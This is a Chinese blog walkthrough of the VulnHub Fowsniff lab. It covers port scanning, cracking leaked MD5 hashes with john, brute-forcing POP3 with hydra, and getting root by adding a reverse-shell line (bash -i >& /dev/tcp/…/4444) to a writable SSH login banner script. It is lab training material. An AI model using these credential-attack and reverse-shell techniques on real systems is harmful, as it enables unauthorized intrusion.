红队打靶:Fowsniff打靶思路详解(vulnhub)

news2025/6/18 1:53:29

目录

写在开头

第一步:主机发现和端口扫描 

第二步:Web渗透

第三步:pop3服务器渗透

第四步:获取初始立足点

第五步:ssh登陆的banner脚本提权

总结与思考 

写在开头

  本篇博客在自己的理解之上根据大佬红队笔记的视频进行打靶,详述了打靶的每一步思路,并非复现writeup,读者耐心看完,定会有所收获。Fowsniff这个靶机的难度也不高,但涉及到了对pop3邮件服务器的渗透过程,同时对信息搜集进行了考验,需要通过互联网搜索推特账号的信息才能得到下一步的线索。同时还涉及到了hydra密码碰撞、john密码破解、crackmapexec密码碰撞等工具的使用。提权采用了ssh登录时的banner脚本提权,完整的打靶思路详见:

「红队笔记」靶机精讲:Fowsniff - 信息收集能力小测,还有密码破解和碰撞,来,小试牛刀吧!_哔哩哔哩_bilibili

  本文针对的靶机源于vulnhub,详情见:

Fowsniff: 1 ~ VulnHub 

  下载链接见:

https://download.vulnhub.com/fowsniff/Fowsniff_CTF_ova.7z

 这个靶机是一台VirtualBox的靶机,理论上也可以用VMware打开,但需要进行网络配置,我试了很多次都失败了,VMware打开会缺少网卡信息。于是我就又下载了个VirtualBox,并下载了一台新的VirtualBox版本的kali,先要在VirtualBox中进行网络的设置,配置NAT网络如下:

  然后将VirtualBox的kali和靶机都设置成NAT模式,选择这个我们新建的NatNetwork,这样才能保证kali和靶机处于同一内网,可以nmap主机发现。

靶机启动之后如下:

  顺道一提,要是有小伙伴了解如何解决VirtualBox靶机用VMware打开会无法联网的问题,恳请告诉我一下咋整的,我昨天尝试了好多配置都没成功,非常自闭。 

第一步:主机发现和端口扫描 

 常规思路,不细讲了,kali的ip是10.10.10.5,主机发现靶机ip是10.10.10.4 

nmap -sn 10.10.10.0/24

 以10000的速率进行全端口扫描,如下:

nmap --min-rate 10000 10.10.10.4

  发现开放了四个端口,即22,80,110,143,用默认脚本(-sC)进行详细服务版本(-sV)、操作系统 (-O)版本进行TCP(-sT)扫描,结果如下:

nmap -sT -sC -sV -O -p22,80,110,143 10.10.10.4

漏洞脚本扫描没发现什么特有信息,这里就不做截图了:

nmap --script=vuln -p22,80,110,143 10.10.10.4

 分析端口扫描的信息,80端口的web端还是我们最感兴趣的点,其次开放了两个邮件服务器,说不定会暴露很多信息。我们还是决定从web端入手。

第二步:Web渗透

  浏览器访问靶机ip,可以看到如下的站点:

我们大概可以确定这个公司叫做Fowsniff,web界面显示它们的网站目前暂停服务了,主要是因为内部员工的账号和密码被泄露了出去,建议所有内部员工立刻修改账户密码,同时还提到攻击者劫持了推特账号:

The attackers were also able to hijack our official @fowsniffcorp Twitter account. All of our official tweets have been deleted and the attackers may release sensitive information via this medium. We are working to resolve this at soon as possible. 

 看了一下源代码,也没什么特殊信息,那么我们就启动一个web目录爆破,同时既然这个网页提示内部员工密码泄露,又提到了推特账号@fowsniffcorp Twitter account,我们不妨谷歌一下有没有什么信息:

还真有,第一条就是相关的推特,打开之后可以看到有一条相关链接:https://pastebin.com/NrAqVeeX 

点开这个链接理论上应该可以看到一些密码泄露的信息,如下图:

奈何现在404了,咱也不知道咋回事,所以我这一步搜了个题解(如上图),总之就是给了我们一大堆可能的账号和密码,告诉我们这个是md5,可以很容易的破解,同时这是pop3邮件服务器的凭证。那么既然是md5,我们先把这些凭据复制下来vim保存为pop3creds:

mauer@fowsniff:8a28a94a588a95b80163709ab4313aa4
mustikka@fowsniff:ae1644dac5b77c0cf51e0d26ad6d7e56
tegel@fowsniff:1dc352435fecca338acfd4be10984009
baksteen@fowsniff:19f5af754c31f1e2651edde9250d69bb
seina@fowsniff:90dc16d47114aa13671c697fd506cf26
stone@fowsniff:a92b8a29ef1183192e3d35187e0cfabd
mursten@fowsniff:0e9588cb62f4b6f27e33d449e2ba0b3b
parede@fowsniff:4d6e42f56e127803285a0a7649b5ab11
sciana@fowsniff:f7fd98d380735e859f8b2ffbbede5a7e 

用john破解一下,指定字典为rockyou.txt: 

john --format=RAW-MD5 --wordlist=/usr/share/wordlists/rockyou.txt pop3creds


这里插叙一下,john重复破解相同的内容会看不到信息,可以到~/.john/john.pot查看历史破解信息,或者直接删掉john.pot文件,再次破解即可。

插叙结束 


 我们将这些信息保存为creds:

将用户信息和密码信息分别保存:

cat pop3creds | awk -F ' ' '{print $1}' > pop3passwd

 

保存账号信息:

cat creds | awk -F ' ' '{print $2}' | awk -F '@' '{print $1}' | awk -F '(' '{print $2}' > pop3users

第三步:pop3服务器渗透

 拿到凭据了,问题是应该用哪个凭据登录pop3服务器呢?数量稍微有点多,账号和密码也未必是对应关系。直接用hydra爆破一下就知道了,-L指定用户名文件,-P指定密码文件,最后指定对pop3服务器爆破:

hydra -L pop3users -P pop3passwd  10.10.10.4 pop3 

 成功爆破出了一个邮件服务器的账号和密码,果然有内部员工不改密码呀!账号seina,密码scoobydoo2,下面我们用nc尝试登录pop3服务器,登录成功: 

nc 10.10.10.4 110
user seina
pass scoobydoo2

 这里需要简要了解pop3邮件服务器的语法,可以用list列出文件,用retr查看文件信息:

list 
retr 1

 第一封邮件是群发的信息,发件人是stone,邮件大致内容是攻击者拿到了数据库,得到了我们的密码,建议大家速速改密码,还给了一个SSH临时密码S1ck3nBluff+secureshell 。这应该是一个很关键的ssh登录凭据,那么是哪个账号的呢,我们继续看第二封邮件:retr 2

 第二封邮件是来自baksteen的,主要是一些闲聊的内容,还提到说baksteen也受到了Stone的邮件(也就是上面的第一封),还没来得及认真看。而第一份邮件是让大家速速用默认密码ssh登录后重置密码的,而baksteen还没有认真读,说明baksteen的ssh密码很可能还是上面的第一封邮件提到的默认密码S1ck3nBluff+secureshell!因此我们下一步就是尝试用账号baksteen,密码S1ck3nBluff+secureshell登录ssh

第四步:获取初始立足点

 用上文提到的凭据ssh登录成功!

ssh baksteen@10.10.10.4
输入密码: S1ck3nBluff+secureshell

首先查看当前目录有什么,发现有个term.txt

 这句话我还不太好翻译,用词典翻译一下:

 说实话,还是每太看懂,one hit wonder指代了什么。

第五步:ssh登陆的banner脚本提权

 总之我们下一步就是想办法提权 ,sudo -l试试:

很可惜,没有什么sudo的信息,查看所在组的信息:

我们查找有哪些可写权限的文件吧:

find / -writable -type f -not -path "/proc/*" -not -path "/sys/*" -not -path "/var/*" 2>/dev/null

  结果当然一大堆,可以看见第一个我们就很感兴趣cube.sh,竟然还有一个shell脚本:

  这个脚本就是打印banner的信息,每当ssh登录的时候就会显示(触发cube.sh的执行),而我们拥有对这个文件的写权限,我们就可以通过在其中添加反弹shell的代码,当登录ssh的时候,触发这个脚本执行,就有可能会反弹更高权限的shell,我们在其中添加反弹shell语句,注意ip写kali的ip地址,我的kali地址为10.10.10.5:

bash -c 'bash -i >& /dev/tcp/10.10.10.5/4444 0>&1'

 然后在kali中另起一个终端开启nc监听4444端口:

nc -lvnp 4444

 退出baksteen账号,重新登录,即可触发反弹shell,还真是反弹了root的shell:

  靶机信息如下:

  flag在root目录下:

  至此打靶完成,这个提权思路和Narak靶机中的motd利用提权有很强的相似性,都是利用登录ssh时执行的脚本触发了反弹shell,详情见:

红队打靶:Narak打靶思路详解(vulnhub)-CSDN博客

总结与思考 

 这个靶机还挺有趣的,设计了一定的剧情,通过在推特上寻找信息,并通过邮件提示了我们这家公司被黑之后,要求员工速速修改密码,有的员工可能没及时的修改,这样当我们成功进入pop3邮件服务器后,就拿到了ssh登录凭据。最后想到寻找可写文件进行提权,结合了类似motd的机制,利用登录ssh时执行的脚本触发了反弹shell。总结一下打靶过程:

1.主机发现和端口扫描:发现Web、邮件服务器、ssh。

2.Web渗透:提示公司被黑,推特上有关键信息,通过互联网搜索找到了pop3可能的一些账号和md5密码。

3.pop3邮件服务器登录:破解密码后成功登录pop3邮件服务器,读取邮件发现了一个ssh账号,尝试ssh登录成功。

4.banner脚本提权:一番搜索尝试无果,最终查找可写文件找到了cube.sh,判定为登录时触发执行的脚本,在其中添加反弹shell语句重新登录,成功反弹了root的shell,实现提权。

 顺道一提,这个靶机也可以通过内核提权的方式,这里就不介绍了。靶机不难,但是还是有一些知识点的,特别是提权的时候联想到寻找可写文件,结合之前Narak靶机的motd机制,找到了提权的方法。 到此这个靶机就讲解完毕了。打完这个靶机感觉还是挺有收获的,有很多新的知识点。靶机不难,总结不易,也有很多自己的思考,希望读者能够点赞关注多多支持!学渗透还是要实操呀。如果读者有什么打靶的问题也欢迎评论区留言指出,我一定知无不言!

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1026169.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

初学phar反序列化

以下内容参考大佬博客:PHP Phar反序列化浅学习 - 跳跳糖 首先了解phar是什么东东 Phar是PHP的压缩文档,是PHP中类似于JAR的一种打包文件。它可以把多个文件存放至同一个文件中,无需解压,PHP就可以进行访问并执行内部语句。 默认开…

性能测试 —— Tomcat监控与调优:Jconsole监控

JConsole的图形用户界面是一个符合Java管理扩展(JMX)规范的监测工具,JConsole使用Java虚拟机(Java VM),提供在Java平台上运行的应用程序的性能和资源消耗的信息。在Java平台,标准版(Java SE平台)6,JConsole的已经更新到目前的外观…

Windows平台Qt6中UTF8与GBK文本编码互相转换、理解文本编码本质

快速答案 UTF8转GBK QString utf8_str"中UTF文"; std::string gbk_str(utf8_str.toLocal8Bit().data());GBK转UTF8 std::string gbk_str_given_by_somewhere"中GBK文"; QString utf8_strQString::fromLocal8Bit(gbk_str_given_by_somewhere.data());正文…

20-SpringCloudAlibaba-3

七 分布式事物处理 1 认识本地事物 什么是事物 事务就是针对数据库的一组操作,它可以由一条或多条SQL语句组成,同一个事务的操作具备同步的特点,事务中的语句要么都执行,要么都不执行。 举个栗子: 你去小卖铺买东西&…

《已解决 Bug TypeError: Cannot read property ‘props‘ of undefined (React)》

🌷🍁 博主猫头虎(🐅🐾)带您 Go to New World✨🍁 🦄 博客首页: 🐅🐾猫头虎的博客🎐《面试题大全专栏》 🦕 文章图文并茂&#x1f996…

2023_Spark_实验十一:RDD高级算子操作

//checkpoint :sc.setCheckpointDir("hdfs://Master:9000/ck") // 设置检查点val rdd sc.textFile("hdfs://Master:9000/input/word.txt").flatMap(_.split(" ")).map((_,1)).reduceByKey(__) // 执行wordcount任务的转换rdd.checkp…

Windows虚拟机访问网页证书错误问题

问题: 显示证书错误,图片加载不出来,看着很别扭,如下: 方法: 1.先导出可用的证书: 可以将自己正常环境的证书导出来(google浏览器为例) 浏览器右上角三个竖点——设置——隐私设…

阿里云服务器开放的一个新端口,重启防火墙,端口未启动

问题: 阿里云网页开放的一个新端口后,重启防火墙,端口未启动,之前配置的也都停止了。 解决: 原因可能是阿里的服务控制了,只能一个个端口开启了。把新配置新端口也单独启用。 开启80端口指令 firewall-cm…

mysql启动不了问题

突然昨天早上起来,就发生了这一幕: 启动MySQL服务时出现"mysql本地计算机上的MySQL服务启动后停止。某些在未由其他服务或程序使用时将自动停止" 几经周折,终于在一个大佬的贴下求得了启动成功的经验,其中我…

Qt---day4---9.20

qt完成时钟&#xff1a; 头文件&#xff1a; #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QPaintEvent> #include <QtDebug> #include <QPainter> #include <QTimerEvent> #include <QTime>QT_BEGIN_NAMESPACE names…

VirtualBox安装RockyLinux并使用ssh访问

文章目录 1 前言2 安装 Rocky Linux2.1 新建虚拟机2.2 设置虚拟机内存和CPU数量2.3 设置虚拟机硬盘大小2.4 完成设置2.5 启动虚拟机2.6 Rocky Linux 的安装2.6.1 直接回车2.6.2 等待 check 完成2.6.3 设置语言2.6.4 设置最小化安装2.6.5 去除分区设置的感叹号2.6.7 设置 root 账…

Hive 优化建议与策略

目录 ​编辑 一、Hive优化总体思想 二、具体优化措施、策略 2.1 分析问题得手段 2.2 Hive的抓取策略 2.2.1 策略设置 2.2.2 策略对比效果 2.3 Hive本地模式 2.3.1 设置开启Hive本地模式 2.3.2 对比效果 2.3.2.1 开启前 2.3.2.2 开启后 2.4 Hive并行模式 2.5 Hive…

详解C++静态多态和动态多态的区别

目录 1.多态的概念与分类 2.多态的作用 3.静态多态 4.动态多态 5.总结 1.多态的概念与分类 多态&#xff08;Polymorphisn&#xff09;是面向对象程序设计&#xff08;OOP&#xff09;的一个重要特征。多态字面意思为多种状态。在面向对象语言中&#xff0c;一个接口&…

【深度学习实验】前馈神经网络(三):自定义多层感知机(激活函数logistic、线性层算Linear)

目录 一、实验介绍 二、实验环境 1. 配置虚拟环境 2. 库版本介绍 三、实验内容 0. 导入必要的工具包 1. 构建数据集 2. 激活函数logistic 3. 线性层算子 Linear 4. 两层的前馈神经网络MLP 5. 模型训练 一、实验介绍 本实验实现了一个简单的两层前馈神经网络 激活函数…

一、【漏洞复现系列】Tomcat文件上传 (CVE-2017-12615)

1.1、漏洞原理 描述: Tomcat 是一个小型的轻量级应用服务器&#xff0c;在中小型系统和并发访问用户不是很多的场合下被普遍使用&#xff0c;是开发和调试JSP 程序的首选。 攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 的webshell文件&#x…

100G QSFP28 100km光模块最新解决方案

随着信息时代的到来&#xff0c;数据传输的速度和距离要求越来越高。目前&#xff0c;易天光通信发布了具有超低成本、可实现100G超长距离传输新方案——100G QSFP28 100km光模块&#xff0c;该方案是在100G ZR4 80km光模块上的全面升级。 一、产品概述 100G ZR4 100km是专为…

requests模块高级用法练习

文章目录 模拟浏览器指纹发送get请求发送post请求文件上传服务器超时 模拟浏览器指纹 打开http://10.9.75.164/php/functions/setcookie.php网页&#xff0c;找到请求头的UA字段&#xff0c;这段信息是浏览器的指纹&#xff08;包括当前系统、浏览器名称和版本&#xff09;&am…

【再识C进阶3(上)】详细地认识字符串函数、进行模拟字符串函数以及拓展内容

小编在写这篇博客时&#xff0c;经过了九一八&#xff0c;回想起了祖国曾经的伤疤&#xff0c;勿忘国耻&#xff0c;振兴中华&#xff01;加油&#xff0c;逐梦少年&#xff01; 前言 &#x1f493;作者简介&#xff1a; 加油&#xff0c;旭杏&#xff0c;目前大二&#xff0c;…

【短文】sambe添加用户时报错Failed to add entry for user

2023年9月20日&#xff0c;周三晚上 Samba fails to add a user entry, how do I fix this? - Ask Ubuntu 也就是说&#xff0c;添加的sambe用户必须是Linux操作系统的用户

2023/09/20 day4 qt

做一个动态指针钟表 头文件 #ifndef WIDGET_H #define WIDGET_H#include <QWidget> #include <QPainter> //绘制事件类 #include <QPaintEvent> //画家类 #include <QTime> #include <QTimer> #include <QTimerEvent> QT_BEGIN…